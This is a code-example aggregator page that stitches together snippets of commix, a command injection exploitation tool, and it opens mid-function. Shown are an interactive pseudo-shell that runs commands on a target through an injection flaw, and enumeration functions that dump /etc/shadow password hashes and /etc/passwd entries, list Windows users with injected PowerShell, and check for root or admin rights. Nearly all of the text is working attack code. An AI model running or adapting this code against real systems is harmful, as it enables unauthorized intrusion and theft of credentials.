                if not menu.options.batch:
                  print("")
                print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
                if readline_error:
                  checks.no_readline_module()
                while True:
                  try:
                    # Tab compliter
                    if not readline_error:
                      readline.set_completer(menu.tab_completer)
                      # MacOSX tab compliter
                      if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                        readline.parse_and_bind("bind ^I rl_complete")
                      # Unix tab compliter
                      else:
                        readline.parse_and_bind("tab: complete")
                    cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                    cmd = checks.escaped_cmd(cmd)
                    if cmd.lower() in settings.SHELL_OPTIONS:
                      go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
                      if go_back and go_back_again == False:
                        break
                      if go_back and go_back_again:
                        return True 
                    else:
                      # The main command injection exploitation.
                      time.sleep(timesec)
                      response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                      # Try target page reload (if it is required).
                      if settings.URL_RELOAD:
                        response = requests.url_reload(url, timesec)
                      if menu.options.ignore_session or\
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # Evaluate injection results.
                        shell = eb_injector.injection_results(response, TAG, cmd)
                        shell = "".join(str(p) for p in shell).replace(" ", "", 1)
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, shell, vuln_parameter)
                      else:
                        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)

                      if shell != "":
                        shell = "".join(str(p) for p in shell)
                        # Update logs with executed cmds and execution results.
                        logs.executed_command(filename, cmd, shell)
                        print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n")
                      else:
                        if settings.VERBOSITY_LEVEL >= 1:
                          print("")
                        err_msg = "The '" + cmd + "' command, does not return any output."
                        print(settings.print_critical_msg(err_msg) + "\n")
                    
                  except KeyboardInterrupt: 
                    raise

                  except SystemExit: 
                    raise
                    
                  except EOFError:
                    err_msg = "Exiting, due to EOFError."
                    print(settings.print_error_msg(err_msg))
                    raise

              elif gotshell in settings.CHOICE_NO:
                if checks.next_attack_vector(technique, go_back) == True:
                  break
                else:
                  if no_result == True:
                    return False 
                  else:
                    return True  

              elif gotshell in settings.CHOICE_QUIT:
                raise SystemExit()

              else:
                err_msg = "'" + gotshell + "' is not a valid answer."  
                print(settings.print_error_msg(err_msg))
                pass
              
              
  if no_result == True:
    if settings.VERBOSITY_LEVEL == 0:
      print("")
    return False
  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
コード例 #54
0
ファイル: eb_enumeration.py プロジェクト: Raz71/commix
def system_passwords(separator, TAG, prefix, suffix, http_request_method, url,
                     vuln_parameter, alter_shell, filename):
    if settings.TARGET_OS == "win":
        # Not yet implemented!
        pass
    else:
        cmd = settings.SYS_PASSES
        response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
            # Evaluate injection results.
            sys_passes = eb_injector.injection_results(response, TAG, cmd)
            sys_passes = "".join(str(p) for p in sys_passes)
            session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
        else:
            sys_passes = session_handler.export_stored_cmd(
                url, cmd, vuln_parameter)
        if sys_passes == "":
            sys_passes = " "
        if sys_passes:
            if settings.VERBOSITY_LEVEL >= 1:
                print ""
            info_msg = "Fetching '" + settings.SHADOW_FILE
            info_msg += "' to enumerate users password hashes... "
            sys.stdout.write(settings.print_info_msg(info_msg))
            sys.stdout.flush()
            sys_passes = "".join(str(p) for p in sys_passes)
            sys_passes = sys_passes.replace(" ", "\n")
            sys_passes = sys_passes.split()
            if len(sys_passes) != 0:
                sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" +
                                 Style.RESET_ALL + " ]")
                success_msg = "Identified " + str(len(sys_passes))
                success_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1]
                success_msg += " in '" + settings.SHADOW_FILE + "'.\n"
                sys.stdout.write("\n" +
                                 settings.print_success_msg(success_msg))
                sys.stdout.flush()
                # Add infos to logs file.
                output_file = open(filename, "a")
                output_file.write(
                    "\n    " +
                    re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
                        "", settings.SUCCESS_SIGN) + success_msg)
                output_file.close()
                count = 0
                for line in sys_passes:
                    count = count + 1
                    try:
                        fields = line.split(":")
                        if fields[1] != "*" and fields[1] != "!" and fields[
                                1] != "":
                            print "  (" + str(
                                count
                            ) + ") " + Style.BRIGHT + fields[
                                0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[
                                    1] + Style.RESET_ALL
                            # Add infos to logs file.
                            output_file = open(filename, "a")
                            output_file.write("      (" + str(count) + ") " +
                                              fields[0] + " : " + fields[1])
                            output_file.close()
                    # Check for appropriate '/etc/shadow' format.
                    except IndexError:
                        if count == 1:
                            warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not "
                            warn_msg += "in the appropriate format. Thus, it is expoted as a text file."
                            sys.stdout.write(
                                settings.print_warning_msg(warn_msg) + "\n")
                        print fields[0]
                        output_file = open(filename, "a")
                        output_file.write("      " + fields[0])
                        output_file.close()
            else:
                sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
                                 " ]")
                sys.stdout.flush()
                warn_msg = "It seems that you don't have permissions to read '"
                warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes."
                print "\n" + settings.print_warning_msg(warn_msg)
コード例 #55
0
ファイル: eb_enumeration.py プロジェクト: Raz71/commix
def system_users(separator, TAG, prefix, suffix, http_request_method, url,
                 vuln_parameter, alter_shell, filename):
    if settings.TARGET_OS == "win":
        settings.SYS_USERS = settings.WIN_SYS_USERS
        settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
        if alter_shell:
            settings.SYS_USERS = settings.SYS_USERS.replace("'", "\\'")
        else:
            settings.SYS_USERS = "\"" + settings.SYS_USERS + "\""
    cmd = settings.SYS_USERS
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                     whitespace, http_request_method, url,
                                     vuln_parameter, alter_shell, filename)
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
        # Evaluate injection results.
        sys_users = eb_injector.injection_results(response, TAG, cmd)
        sys_users = "".join(str(p) for p in sys_users).replace(" ", "", 1)[:-1]
        session_handler.store_cmd(url, cmd, sys_users, vuln_parameter)
    else:
        sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    # Windows users enumeration.
    if settings.TARGET_OS == "win":
        if settings.VERBOSITY_LEVEL >= 1:
            print ""
        info_msg = "Executing the 'net users' command "
        info_msg += "to enumerate users entries... "
        sys.stdout.write(settings.print_info_msg(info_msg))
        sys.stdout.flush()
        try:
            if sys_users[0]:
                sys_users = "".join(str(p) for p in sys_users).strip()
                sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" +
                                 Style.RESET_ALL + " ]")
                sys_users_list = re.findall(r"(.*)", sys_users)
                sys_users_list = "".join(str(p)
                                         for p in sys_users_list).strip()
                sys_users_list = ' '.join(sys_users_list.split())
                sys_users_list = sys_users_list.split()
                success_msg = "Identified " + str(len(sys_users_list))
                success_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
                success_msg += " via 'net users' command.\n"
                sys.stdout.write("\n" +
                                 settings.print_success_msg(success_msg))
                sys.stdout.flush()
                # Add infos to logs file.
                output_file = open(filename, "a")
                output_file.write(
                    "\n    " +
                    re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
                        "", settings.SUCCESS_SIGN) + success_msg)
                output_file.close()
                count = 0
                for user in range(0, len(sys_users_list)):
                    count = count + 1
                    if menu.options.privileges:
                        cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[
                            user] + ")[22..($(net user " + sys_users_list[
                                user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')"
                        if alter_shell:
                            cmd = cmd.replace("'", "\\'")
                        else:
                            cmd = "\"" + cmd + "\""
                        response = eb_injector.injection(
                            separator, TAG, cmd, prefix, suffix, whitespace,
                            http_request_method, url, vuln_parameter,
                            alter_shell, filename)
                        check_privs = eb_injector.injection_results(
                            response, TAG, cmd)
                        check_privs = "".join(str(p)
                                              for p in check_privs).strip()
                        check_privs = re.findall(r"(.*)", check_privs)
                        check_privs = "".join(str(p)
                                              for p in check_privs).strip()
                        check_privs = check_privs.split()
                        if "Admin" in check_privs[0]:
                            is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user"
                            is_privileged_nh = " is admin user "
                        else:
                            is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user"
                            is_privileged_nh = " is regular user "
                    else:
                        is_privileged = ""
                        is_privileged_nh = ""
                    if settings.VERBOSITY_LEVEL >= 1:
                        print ""
                    print " (" + str(
                        count
                    ) + ") '" + Style.BRIGHT + sys_users_list[
                        user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "."
                    # Add infos to logs file.
                    output_file = open(filename, "a")
                    output_file.write("      (" + str(count) + ") " +
                                      sys_users_list[user] + is_privileged +
                                      ".\n")
                    output_file.close()
            else:
                sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
                                 " ]")
                sys.stdout.flush()
                warn_msg = "It seems that you don't have permissions to enumerate users entries."
                print "\n" + settings.print_warning_msg(
                    warn_msg)  # Unix-like users enumeration.
        except TypeError:
            sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
                             " ]\n")
            sys.stdout.flush()
            pass

        except IndexError:
            sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
                             " ]")
            warn_msg = "It seems that you don't have permissions to read '"
            warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n"
            sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
            sys.stdout.flush()
            pass

    else:
        if settings.VERBOSITY_LEVEL >= 1:
            print ""
        info_msg = "Fetching '" + settings.PASSWD_FILE
        info_msg += "' to enumerate users entries... "
        sys.stdout.write(settings.print_info_msg(info_msg))
        sys.stdout.flush()
        try:
            if sys_users[0]:
                sys_users = "".join(str(p) for p in sys_users).strip()
                if len(sys_users.split(" ")) <= 1:
                    sys_users = sys_users.split("\n")
                else:
                    sys_users = sys_users.split(" ")
                # Check for appropriate '/etc/passwd' format.
                if len(sys_users) % 3 != 0:
                    sys.stdout.write("[ " + Fore.RED + "FAILED" +
                                     Style.RESET_ALL + " ]")
                    sys.stdout.flush()
                    warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is "
                    warn_msg += "not in the appropriate format. Thus, it is expoted as a text file."
                    print "\n" + settings.print_warning_msg(warn_msg)
                    sys_users = " ".join(str(p) for p in sys_users).strip()
                    print sys_users
                    output_file = open(filename, "a")
                    output_file.write("      " + sys_users)
                    output_file.close()
                else:
                    sys_users_list = []
                    for user in range(0, len(sys_users), 3):
                        sys_users_list.append(sys_users[user:user + 3])
                    if len(sys_users_list) != 0:
                        sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" +
                                         Style.RESET_ALL + " ]")
                        success_msg = "Identified " + str(len(sys_users_list))
                        success_msg += " entr" + (
                            'ies', 'y')[len(sys_users_list) == 1]
                        success_msg += " in '" + settings.PASSWD_FILE + "'.\n"
                        sys.stdout.write(
                            "\n" + settings.print_success_msg(success_msg))
                        sys.stdout.flush()
                        # Add infos to logs file.
                        output_file = open(filename, "a")
                        output_file.write(
                            "\n    " +
                            re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)
                                       ).sub("", settings.SUCCESS_SIGN) +
                            success_msg)
                        output_file.close()
                        count = 0
                        for user in range(0, len(sys_users_list)):
                            sys_users = sys_users_list[user]
                            sys_users = ":".join(str(p) for p in sys_users)
                            count = count + 1
                            fields = sys_users.split(":")
                            fields1 = "".join(str(p) for p in fields)
                            # System users privileges enumeration
                            try:
                                if not fields[2].startswith("/"):
                                    raise ValueError()
                                if menu.options.privileges:
                                    if int(fields[1]) == 0:
                                        is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
                                        is_privileged_nh = " is root user "
                                    elif int(fields[1]) > 0 and int(
                                            fields[1]) < 99:
                                        is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
                                        is_privileged_nh = " is system user "
                                    elif int(fields[1]) >= 99 and int(
                                            fields[1]) < 65534:
                                        if int(fields[1]) == 99 or int(
                                                fields[1]) == 60001 or int(
                                                    fields[1]) == 65534:
                                            is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
                                            is_privileged_nh = " is anonymous user "
                                        elif int(fields[1]) == 60002:
                                            is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
                                            is_privileged_nh = " is non-trusted user "
                                        else:
                                            is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
                                            is_privileged_nh = " is regular user "
                                    else:
                                        is_privileged = ""
                                        is_privileged_nh = ""
                                else:
                                    is_privileged = ""
                                    is_privileged_nh = ""
                                print "  (" + str(
                                    count
                                ) + ") '" + Style.BRIGHT + fields[
                                    0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[
                                        1] + "). Home directory is in '" + Style.BRIGHT + fields[
                                            2] + Style.RESET_ALL + "'."
                                # Add infos to logs file.
                                output_file = open(filename, "a")
                                output_file.write("      (" + str(count) +
                                                  ") '" + fields[0] + "'" +
                                                  is_privileged_nh + "(uid=" +
                                                  fields[1] +
                                                  "). Home directory is in '" +
                                                  fields[2] + "'.\n")
                                output_file.close()
                            except ValueError:
                                if count == 1:
                                    warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the "
                                    warn_msg += "appropriate format. Thus, it is expoted as a text file."
                                    print settings.print_warning_msg(warn_msg)
                                sys_users = " ".join(
                                    str(p) for p in sys_users.split(":"))
                                print sys_users
                                output_file = open(filename, "a")
                                output_file.write("      " + sys_users)
                                output_file.close()
            else:
                sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
                                 " ]")
                sys.stdout.flush()
                warn_msg = "It seems that you don't have permissions to read '"
                warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
                print "\n" + settings.print_warning_msg(warn_msg)

        except TypeError:
            sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
                             " ]\n")
            sys.stdout.flush()
            pass

        except IndexError:
            sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
                             " ]")
            warn_msg = "It seems that you don't have permissions to read '"
            warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n"
            sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
            sys.stdout.flush()
            pass
コード例 #56
0
ファイル: eb_enumeration.py プロジェクト: Raz71/commix
def current_user(separator, TAG, prefix, suffix, http_request_method, url,
                 vuln_parameter, alter_shell, filename):
    if settings.TARGET_OS == "win":
        settings.SYS_USERS = settings.WIN_SYS_USERS
        settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
        if alter_shell:
            settings.SYS_USERS = settings.SYS_USERS.replace("'", "\\'")
        else:
            settings.SYS_USERS = "\"" + settings.SYS_USERS + "\""
    cmd = settings.CURRENT_USER
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                     whitespace, http_request_method, url,
                                     vuln_parameter, alter_shell, filename)
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
        # Evaluate injection results.
        cu_account = eb_injector.injection_results(response, TAG, cmd)
        cu_account = "".join(str(p) for p in cu_account).replace(" ", "",
                                                                 1)[:-1]
        session_handler.store_cmd(url, cmd, cu_account, vuln_parameter)
    else:
        cu_account = session_handler.export_stored_cmd(url, cmd,
                                                       vuln_parameter)
    if cu_account:
        # Check if the user have super privileges.
        if menu.options.is_root or menu.options.is_admin:
            if settings.TARGET_OS == "win":
                cmd = settings.IS_ADMIN
                if not alter_shell:
                    cmd = "\"" + cmd + "\""
            else:
                cmd = settings.IS_ROOT
            response = eb_injector.injection(separator, TAG, cmd, prefix,
                                             suffix, whitespace,
                                             http_request_method, url,
                                             vuln_parameter, alter_shell,
                                             filename)
            if session_handler.export_stored_cmd(url, cmd,
                                                 vuln_parameter) == None:
                # Evaluate injection results.
                shell = eb_injector.injection_results(response, TAG, cmd)
                shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
                session_handler.store_cmd(url, cmd, shell, vuln_parameter)
            else:
                shell = session_handler.export_stored_cmd(
                    url, cmd, vuln_parameter)
            if settings.VERBOSITY_LEVEL >= 1:
                print ""
            success_msg = "The current user is " + cu_account
            sys.stdout.write(settings.print_success_msg(success_msg))
            # Add infos to logs file.
            output_file = open(filename, "a")
            success_msg = "The current user is " + cu_account
            output_file.write(
                "    " +
                re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
                    "", settings.SUCCESS_SIGN) + success_msg)
            output_file.close()
            if shell:
                if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
                   (settings.TARGET_OS != "win" and shell != "0"):
                    sys.stdout.write(Style.BRIGHT + " and it is " + "not" +
                                     Style.RESET_ALL + Style.BRIGHT +
                                     " privileged" + Style.RESET_ALL + ".\n")
                    sys.stdout.flush()
                    # Add infos to logs file.
                    output_file = open(filename, "a")
                    output_file.write(" and it is not privileged.\n")
                    output_file.close()
                else:
                    sys.stdout.write(Style.BRIGHT + " and it is " +
                                     Style.RESET_ALL + Style.BRIGHT +
                                     "privileged" + Style.RESET_ALL + ".\n")
                    sys.stdout.flush()
                    # Add infos to logs file.
                    output_file = open(filename, "a")
                    output_file.write(" and it is privileged.\n")
                    output_file.close()
        else:
            if settings.VERBOSITY_LEVEL >= 1:
                print ""
            success_msg = "The current user is " + cu_account
            sys.stdout.write(settings.print_success_msg(success_msg))
            sys.stdout.flush()
            # Add infos to logs file.
            output_file = open(filename, "a")
            success_msg = "The current user is " + cu_account + "\n"
            output_file.write(
                "    " +
                re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
                    "", settings.SUCCESS_SIGN) + success_msg)
            output_file.close()